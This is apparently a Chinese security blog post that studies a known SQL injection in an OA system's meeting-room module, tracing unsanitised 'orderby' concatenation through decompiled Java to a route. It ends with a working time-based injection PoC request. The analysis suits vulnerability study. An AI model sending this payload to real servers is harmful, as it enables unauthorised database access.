前言
该漏洞是网上其他师傅挖掘的,主要是学习一下挖掘的思路。
漏洞分析
首先全局搜索jar包中的createSQLQuery方法,找到了很多,如下:

碰巧第一个类就是网上公开的注入点,KmImeetingResServiceImp是一个接口实现类,我们跟进去看一下:
public Page listUse(RequestContext requestContext) throws Exception { Page page = new Page(); String s_pageno = requestContext.getParameter("pageno"); String s_rowsize = requestContext.getParameter("rowsize"); int pageno = 0; int rowsize = SysConfigParameters.getRowSize(); if (s_pageno != null && s_pageno.length() > 0) { pageno = Integer.parseInt(s_pageno); } if (s_rowsize != null && s_rowsize.length() > 0) { rowsize = Integer.parseInt(s_rowsize); } int total = this.getListUseTotal(requestContext); if (total > 0) { page.setRowsize(rowsize); page.setPageno(pageno); page.setTotalrows(total); page.excecute(); SQLQuery sqlQuery = this.getUseSQLQuery(requestContext); sqlQuery.setFirstResult(page.getStart()); sqlQuery.setMaxResults(page.getRowsize()); page.setList(sqlQuery.list()); } else { page = Page.getEmptyPage(); } return page; }
21行调用同类下的getUseSQLQuery方法,跟入:
1 private SQLQuery getUseSQLQuery(RequestContext requestContext) { 2 Map<String, Object> result = this.buidCondition(requestContext); 3 String conditionStr = (String)result.get("conditionStr"); 4 Map<String, Object> params = (Map)result.get("params"); 5 String sql = "select * from "; 6 sql = sql + "(select m.fd_id as fdId,ra.fd_name as fdPlace,m.fd_name as fdName ,m.fd_hold_date as fdHoldDate,m.fd_finish_date as fdFinishDate,pa.fd_name as personName,m.doc_status as docStatus,1 as isMeeting from km_imeeting_main m,sys_org_element pa,km_imeeting_res ra where m.doc_creator_id=pa.fd_id and m.fd_place_id=ra.fd_id and m.fd_place_id is not null and m.doc_status<>'10' " + conditionStr.replaceAll("%use%", "m") + " union " + " select b.fd_id as fdId,rb.fd_name as fdPlace,b.fd_name as fdName,b.fd_hold_date as fdHoldDate,b.fd_finish_date as fdFinishDate,pb.fd_name as personName,'30' as docStatus,0 as isMeeting " + "from km_imeeting_book b,sys_org_element pb,km_imeeting_res rb where b.doc_creator_id=pb.fd_id and b.fd_place_id=rb.fd_id " + conditionStr.replaceAll("%use%", "b") + " ) total "; 7 String orderby = requestContext.getParameter("orderby"); 8 String ordertype = requestContext.getParameter("ordertype"); 9 if (ordertype != null && ordertype.equalsIgnoreCase("down")) { 10 orderby = orderby + " desc"; 11 } 12 13 if (StringUtil.isNotNull(orderby)) { 14 sql = sql + " order by " + orderby; 15 } else { 16 sql = sql + " order by fdHoldDate desc"; 17 } 18 19 SQLQuery sqlQuery = this.getBaseDao().getHibernateSession().createSQLQuery(sql); 20 if (!params.isEmpty()) { 21 Iterator var10 = params.keySet().iterator(); 22 23 while(var10.hasNext()) { 24 String key = (String)var10.next(); 25 sqlQuery.setParameter(key, params.get(key)); 26 } 27 } 28 29 sqlQuery.addScalar("fdId", Hibernate.STRING).addScalar("fdPlace", Hibernate.STRING).addScalar("fdName", Hibernate.STRING).addScalar("fdHoldDate", Hibernate.TIMESTAMP).addScalar("fdFinishDate", Hibernate.TIMESTAMP).addScalar("personName", Hibernate.STRING).addScalar("docStatus", Hibernate.STRING).addScalar("isMeeting", Hibernate.BOOLEAN); 30 sqlQuery.setResultTransformer(Transformers.aliasToBean(KmImeetingUse.class)); 31 return sqlQuery; 32 }
该方法是一个private的方法,7行取得orderby的值,14行直接进行拼接查询导入注入的产生。
漏洞点找到了,接着是找到接口IKmImeetingResService

该接口下有listuse方法。
在KmImeetingResAction下的listuse方法的第六行发现触发了漏洞点
1 public ActionForward listUse(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception { 2 TimeCounter.logCurrentTime("Action-listUse", true, this.getClass()); 3 KmssMessages messages = new KmssMessages(); 4 5 try { 6 Page page = ((IKmImeetingResService)this.getServiceImp(request)).listUse(new RequestContext(request)); 7 request.setAttribute("queryPage", page); 8 } catch (Exception var7) { 9 messages.addError(var7); 10 } 11 12 TimeCounter.logCurrentTime("Action-listUse", false, this.getClass()); 13 if (messages.hasError()) { 14 KmssReturnPage.getInstance(request).addMessages(messages).addButton(0).save(request); 15 return this.getActionForward("failure", mapping, form, request, response); 16 } else { 17 String contentType = request.getParameter("contentType"); 18 return "json".equals(contentType) ? this.getActionForward("listUseData", mapping, form, request, response) : this.getActionForward("listUse", mapping, form, request, response); 19 } 20 }
接着要找路由,找到了路由为:/km/imeeting/km_imeeting_res/kmImeetingRes

综上所述poc为:
POST /km/imeeting/km_imeeting_res/kmImeetingRes.do HTTP/1.1 Host: xxx User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: text/plain, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: close Cookie: JSESSIONID=7C9F86E2E9816C5162F52B4AB2C63FFF; LtpaToken=AAECAzYwRTVCRDgyNjBFNjY2NDJhZG1pboFkjfJS1t761TwfqohcECfzi8Ze Content-Type: application/x-www-form-urlencoded Content-Length: 92 contentType=json&method=listUse&orderby=1;WAITFOR DELAY '0:0:5'--&ordertype=down&s_ajax=true
成功延时5秒
